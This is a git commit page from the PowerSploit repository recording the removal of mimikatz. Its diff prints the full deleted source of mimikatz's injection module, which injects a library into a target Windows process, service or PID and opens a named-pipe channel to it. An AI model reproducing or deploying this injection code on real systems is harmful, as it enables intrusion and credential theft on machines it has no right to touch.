aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp
diff options
context:
space:
mode:
authormattifestation <mattgraeber@gmail.com>2014-02-03 17:13:35 -0500
committermattifestation <mattgraeber@gmail.com>2014-02-03 17:13:41 -0500
commitc5168cdba6a3b2d7dd8d79c8ac9583d3ace6a504 (patch)
tree31e4238db4984481442faa780e8921782c5de848 /Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp
parentd9ca5357e4603222268b1c619da10cc7858153d4 (diff)
downloadPowerSploit-c5168cdba6a3b2d7dd8d79c8ac9583d3ace6a504.tar.gz
PowerSploit-c5168cdba6a3b2d7dd8d79c8ac9583d3ace6a504.zip
Removed mimikatz.
This doesn't need to reside in PowerSploit. Those that are truly paranoid should validate that the embedded executable in Invoke-Mimikatz.ps1 is indeed mimikatz. This was causing AV to flag upon downloading PowerSploit.
Diffstat (limited to 'Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp')
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp120
1 files changed, 0 insertions, 120 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp
deleted file mode 100644
index 74ca84d..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp
+++ /dev/null
@@ -1,120 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "mod_mimikatz_inject.h"
-#include "..\global.h"
-
-mod_pipe * mod_mimikatz_inject::monCommunicator = NULL;
-
-vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_inject::getMimiKatzCommands()
-{
- vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service"));
- return monVector;
-}
-
-bool mod_mimikatz_inject::process(vector<wstring> * arguments)
-{
- wstring processName = arguments->front();
- wstring fullLib = arguments->back();
-
- mod_process::KIWI_PROCESSENTRY32 monProcess;
- if(mod_process::getUniqueForName(&monProcess, &processName))
- {
- (*outputStream) << L"PROCESSENTRY32(" << processName << L").th32ProcessID = " << monProcess.th32ProcessID << endl;
- injectInPid(monProcess.th32ProcessID, fullLib);
- }
- else (*outputStream) << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl;
-
- return true;
-}
-
-bool mod_mimikatz_inject::service(vector<wstring> * arguments)
-{
- wstring serviceName = arguments->front();
- wstring fullLib = arguments->back();
-
- mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
- if(mod_service::getUniqueForName(&monService, &serviceName))
- {
- (*outputStream) << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl;
- (*outputStream) << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl;
- injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib);
- }
- else (*outputStream) << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl;
-
- return true;
-}
-
-bool mod_mimikatz_inject::pid(vector<wstring> * arguments)
-{
- wstring strPid = arguments->front();
- wstring fullLib = arguments->back();
-
- DWORD pid;
- wstringstream monStream(strPid);
- monStream >> pid;
-
- injectInPid(pid, fullLib, !(arguments->size() >= 3));
-
- return true;
-}
-
-bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm)
-{
- bool reussite = false;
-
- if(!isComm || (isComm && !monCommunicator))
- {
- if(reussite = mod_inject::injectLibraryInPid(pid, &libPath))
- {
- if(isComm)
- {
- wstring monBuffer = L"";
-
- monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
- (*outputStream) << L"Attente de connexion du client..." << endl;
-
- if(monCommunicator->createServer())
- {
- (*outputStream) << L"Serveur connecté à un client !" << endl;
- if(monCommunicator->readFromPipe(monBuffer))
- {
- (*outputStream) << L"Message du processus :" << endl << monBuffer << endl;
- }
- else
- {
- (*outputStream) << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl;
- closeThisCommunicator();
- }
- }
- else
- {
- (*outputStream) << L"Erreur : Impossible de créer un canal de communication ! ; " << mod_system::getWinError() << endl;
- closeThisCommunicator();
- }
- }
- else
- (*outputStream) << L"Injecté sans communication (legacy)" << endl;
- } else (*outputStream) << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl;
- }
- else (*outputStream) << L"Erreur : un canal de communicaton est déjà ouvert" << endl;
-
- return reussite;
-}
-
-
-bool mod_mimikatz_inject::closeThisCommunicator()
-{
- if(monCommunicator)
- {
- (*outputStream) << L"Fermeture du canal de communication" << endl;
- delete monCommunicator;
- monCommunicator = NULL;
- }
- return true;
-} \ No newline at end of file